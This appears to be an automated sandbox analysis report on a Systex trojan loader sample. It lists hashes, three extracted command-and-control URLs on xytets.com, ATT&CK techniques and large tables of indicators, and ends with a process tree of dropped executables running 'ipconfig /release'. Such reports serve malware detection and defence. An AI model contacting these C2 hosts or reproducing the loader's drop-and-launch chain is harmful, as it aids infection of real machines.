systex | d0507f393a0caacc825cbc940a3b9991d9e55dffd46780e86bcfc80fc596b0d5

Analysis

max time kernel
150s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/07/2026, 03:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Size 361KB
Sample260718-dkdx1aes5k
SHA256 d0507f393a0caacc825cbc940a3b9991d9e55dffd46780e86bcfc80fc596b0d5
MD5 8789520fe530cfdd0186bd7885a9330a
SHA1 22f1ea43f055daef8404691637f0cd10d05d7ef1
SHA512 bfacad091db8878cd971bf9210cfabfdfd32390c240cb06d5ee87b6dd7d1657bd0e5d4470723c8ad659bf51c5c19f82cd6bab426b32c45f1f6eb3075959bc074
SSDEEP 6144:DflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:DflfAsiVGjSGecvX
TLSH
T14E747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba
http://xytets.com:2345/t.asp?os=home
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
4412	gdywqoigdyvqoigd.exe
4124	gdywqoigdyvqoigd.sys
200	CreateProcess.exe
3084	lgdyvtnidy.exe
1400	CreateProcess.exe
4304	CreateProcess.exe
2676	i_lgdyvtnidy.exe
5436	vtnlfdaysq.sys
4544	CreateProcess.exe
4984	kigaysqkid.exe
4672	CreateProcess.exe
4728	CreateProcess.exe
1220	i_kigaysqkid.exe
1616	nhfaxspnhf.sys
3512	CreateProcess.exe
5248	faxspkifdx.exe
3628	CreateProcess.exe
4720	CreateProcess.exe
2708	i_faxspkifdx.exe
4208	kfcxvpnhfz.sys
4264	CreateProcess.exe
2180	zxspkhcaus.exe
4072	CreateProcess.exe
4124	CreateProcess.exe
2728	i_zxspkhcaus.exe
3224	xrpjhczurp.sys
2576	CreateProcess.exe
5140	pmkecaurpm.exe
2972	CreateProcess.exe
1780	CreateProcess.exe
1664	i_pmkecaurpm.exe
3732	ezwrpjhbzx.sys
4120	CreateProcess.exe
828	bztrmjecwu.exe
5104	CreateProcess.exe
1788	CreateProcess.exe
1088	i_bztrmjecwu.exe
5032	ywuomgebwt.sys
1028	CreateProcess.exe
1720	ywrljdbwto.exe
3844	CreateProcess.exe
2204	CreateProcess.exe
5256	i_ywrljdbwto.exe
4132	ebztrojgey.sys
6104	CreateProcess.exe
1932	yvtrljdbwt.exe
2784	CreateProcess.exe
2356	CreateProcess.exe
4436	i_yvtrljdbwt.exe
576	bytrljdbvt.sys
3732	CreateProcess.exe
4248	wqoigawqoi.exe
3172	CreateProcess.exe
4632	CreateProcess.exe
3064	i_wqoigawqoi.exe
4456	tqlidavsql.sys
5204	CreateProcess.exe
5020	qlidbvtnlf.exe
3676	CreateProcess.exe
3028	CreateProcess.exe
5276	i_qlidbvtnlf.exe
2684	qcausnkfdx.sys
1192	CreateProcess.exe
2600	causnkfdxv.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3164_1471555313\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3164_1357245638\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3164_82438719\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3164_82438719\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3164_1471555313\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3164_1974576531\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3164_1974576531\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3164_1471555313\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3164_1471555313\manifest.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_yvtrljdbwt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wqoigawqoi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhezwuomjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dbvtnlfdyv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_snlfdxvqni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxspkhcaus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	yvtrljdbwt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qlidbvtnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	causnkfdxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxspkhcaus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qlidbvtnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pkhcausmke.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	snlfdxvqni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bztrmjecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wqoigawqoi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pkhcausmke.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	yomgdbztql.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_yomgdbztql.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pmkecaurpm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jebztrljeb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kigaysqkid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_causnkfdxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pnkfcauspk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jhezwuomjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kigaysqkid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_faxspkifdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pmkecaurpm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pnkfcauspk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ywqojgbytr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gdywqoigdyvqoigd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lgdyvtnidy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_lgdyvtnidy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bztrmjecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ywrljdbwto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jebztrljeb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ywqojgbytr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dbvtnlfdyv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	faxspkifdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ywrljdbwto.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4660	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 19 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3496	ipconfig.exe
2148	ipconfig.exe
4172	ipconfig.exe
1832	ipconfig.exe
2736	ipconfig.exe
3416	ipconfig.exe
2736	ipconfig.exe
2296	ipconfig.exe
3540	ipconfig.exe
5404	ipconfig.exe
5228	ipconfig.exe
4680	ipconfig.exe
1972	ipconfig.exe
4624	ipconfig.exe
1340	ipconfig.exe
3156	ipconfig.exe
3540	ipconfig.exe
5200	ipconfig.exe
3936	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134288174349508971"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3797332335-34111092-3597280141-1000\{32232266-D981-4ADF-A050-E71BA590625B}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4412	gdywqoigdyvqoigd.exe
4412	gdywqoigdyvqoigd.exe
4412	gdywqoigdyvqoigd.exe
4412	gdywqoigdyvqoigd.exe
4412	gdywqoigdyvqoigd.exe
4412	gdywqoigdyvqoigd.exe
4412	gdywqoigdyvqoigd.exe
4412	gdywqoigdyvqoigd.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
3164	msedge.exe
3164	msedge.exe
3164	msedge.exe
3164	msedge.exe
3164	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	2676	i_lgdyvtnidy.exe
Token: SeDebugPrivilege	1220	i_kigaysqkid.exe
Token: SeDebugPrivilege	2708	i_faxspkifdx.exe
Token: SeDebugPrivilege	2728	i_zxspkhcaus.exe
Token: SeDebugPrivilege	1664	i_pmkecaurpm.exe
Token: SeDebugPrivilege	1088	i_bztrmjecwu.exe
Token: SeDebugPrivilege	5256	i_ywrljdbwto.exe
Token: SeDebugPrivilege	4436	i_yvtrljdbwt.exe
Token: SeDebugPrivilege	3064	i_wqoigawqoi.exe
Token: SeDebugPrivilege	5276	i_qlidbvtnlf.exe
Token: SeDebugPrivilege	5404	i_causnkfdxv.exe
Token: SeDebugPrivilege	5340	i_pnkfcauspk.exe
Token: SeDebugPrivilege	5256	i_pkhcausmke.exe
Token: SeDebugPrivilege	4232	i_jhezwuomjh.exe
Token: SeDebugPrivilege	5404	i_jebztrljeb.exe
Token: SeDebugPrivilege	5340	i_yomgdbztql.exe
Token: SeDebugPrivilege	5416	i_ywqojgbytr.exe
Token: SeDebugPrivilege	5984	i_dbvtnlfdyv.exe
Token: SeDebugPrivilege	2232	i_snlfdxvqni.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3164	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1840 wrote to memory of 4412	1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	89
PID 1840 wrote to memory of 2816	1840	2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	90
PID 2816 wrote to memory of 3164	2816	iexplore.exe	91
PID 3164 wrote to memory of 1212	3164	msedge.exe	92
PID 3164 wrote to memory of 4660	3164	msedge.exe	93
PID 3164 wrote to memory of 5888	3164	msedge.exe	94
PID 3164 wrote to memory of 5888	3164	msedge.exe	94
PID 3164 wrote to memory of 5192	3164	msedge.exe	95
PID 3164 wrote to memory of 5192	3164	msedge.exe	95
PID 3164 wrote to memory of 5192	3164	msedge.exe	95
PID 3164 wrote to memory of 2128	3164	msedge.exe	97
PID 3164 wrote to memory of 1308	3164	msedge.exe	98
PID 3164 wrote to memory of 2128	3164	msedge.exe	97
PID 3164 wrote to memory of 2128	3164	msedge.exe	97
PID 3164 wrote to memory of 1308	3164	msedge.exe	98
PID 3164 wrote to memory of 1308	3164	msedge.exe	98
PID 3164 wrote to memory of 4040	3164	msedge.exe	99
PID 3164 wrote to memory of 4040	3164	msedge.exe	99
PID 3164 wrote to memory of 4040	3164	msedge.exe	99
PID 3164 wrote to memory of 4628	3164	msedge.exe	100
PID 3164 wrote to memory of 4628	3164	msedge.exe	100
PID 3164 wrote to memory of 4628	3164	msedge.exe	100
PID 3164 wrote to memory of 1792	3164	msedge.exe	102
PID 3164 wrote to memory of 1792	3164	msedge.exe	102
PID 3164 wrote to memory of 2556	3164	msedge.exe	105
PID 3164 wrote to memory of 5900	3164	msedge.exe	106
PID 3164 wrote to memory of 2556	3164	msedge.exe	105
PID 3164 wrote to memory of 5900	3164	msedge.exe	106
PID 3164 wrote to memory of 4448	3164	msedge.exe	108
PID 4412 wrote to memory of 200	4412	gdywqoigdyvqoigd.exe	109
PID 3084 wrote to memory of 1400	3084	lgdyvtnidy.exe	114
PID 4412 wrote to memory of 4304	4412	gdywqoigdyvqoigd.exe	118
PID 4412 wrote to memory of 4544	4412	gdywqoigdyvqoigd.exe	122
PID 4984 wrote to memory of 4672	4984	kigaysqkid.exe	124
PID 4412 wrote to memory of 4728	4412	gdywqoigdyvqoigd.exe	127
PID 3164 wrote to memory of 2972	3164	msedge.exe	129
PID 3164 wrote to memory of 2972	3164	msedge.exe	129
PID 3164 wrote to memory of 5404	3164	msedge.exe	130
PID 3164 wrote to memory of 5404	3164	msedge.exe	130
PID 4412 wrote to memory of 3512	4412	gdywqoigdyvqoigd.exe	133
PID 5248 wrote to memory of 3628	5248	faxspkifdx.exe	135
PID 4412 wrote to memory of 4720	4412	gdywqoigdyvqoigd.exe	138
PID 4412 wrote to memory of 4264	4412	gdywqoigdyvqoigd.exe	143
PID 2180 wrote to memory of 4072	2180	zxspkhcaus.exe	145
PID 4412 wrote to memory of 4124	4412	gdywqoigdyvqoigd.exe	148
PID 3164 wrote to memory of 4080	3164	msedge.exe	150
PID 3164 wrote to memory of 1244	3164	msedge.exe	151
PID 3164 wrote to memory of 1624	3164	msedge.exe	152
PID 4412 wrote to memory of 2576	4412	gdywqoigdyvqoigd.exe	155
PID 5140 wrote to memory of 2972	5140	pmkecaurpm.exe	157
PID 4412 wrote to memory of 1780	4412	gdywqoigdyvqoigd.exe	160
PID 4412 wrote to memory of 4120	4412	gdywqoigdyvqoigd.exe	164
PID 828 wrote to memory of 5104	828	bztrmjecwu.exe	166
PID 4412 wrote to memory of 1788	4412	gdywqoigdyvqoigd.exe	169
PID 4412 wrote to memory of 1028	4412	gdywqoigdyvqoigd.exe	173
PID 1720 wrote to memory of 3844	1720	ywrljdbwto.exe	175
PID 4412 wrote to memory of 2204	4412	gdywqoigdyvqoigd.exe	178
PID 4412 wrote to memory of 6104	4412	gdywqoigdyvqoigd.exe	182
PID 1932 wrote to memory of 2784	1932	yvtrljdbwt.exe	184
PID 4412 wrote to memory of 2356	4412	gdywqoigdyvqoigd.exe	187
PID 3164 wrote to memory of 460	3164	msedge.exe	189
PID 3164 wrote to memory of 460	3164	msedge.exe	189
PID 4412 wrote to memory of 3732	4412	gdywqoigdyvqoigd.exe	195
PID 4248 wrote to memory of 3172	4248	wqoigawqoi.exe	197

C:\Users\Admin\AppData\Local\Temp\2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-17_8789520fe530cfdd0186bd7885a9330a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1840
- C:\Temp\gdywqoigdyvqoigd.exe
  C:\Temp\gdywqoigdyvqoigd.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4412
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\lgdyvtnidy.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:200
  - - C:\Temp\lgdyvtnidy.exe
      C:\Temp\lgdyvtnidy.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3084
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1400
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3156
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_lgdyvtnidy.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4304
  - - C:\Temp\i_lgdyvtnidy.exe
      C:\Temp\i_lgdyvtnidy.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2676
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\kigaysqkid.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4544
  - - C:\Temp\kigaysqkid.exe
      C:\Temp\kigaysqkid.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4984
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4672
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2148
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_kigaysqkid.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4728
  - - C:\Temp\i_kigaysqkid.exe
      C:\Temp\i_kigaysqkid.exe ups_ins
      4⤵
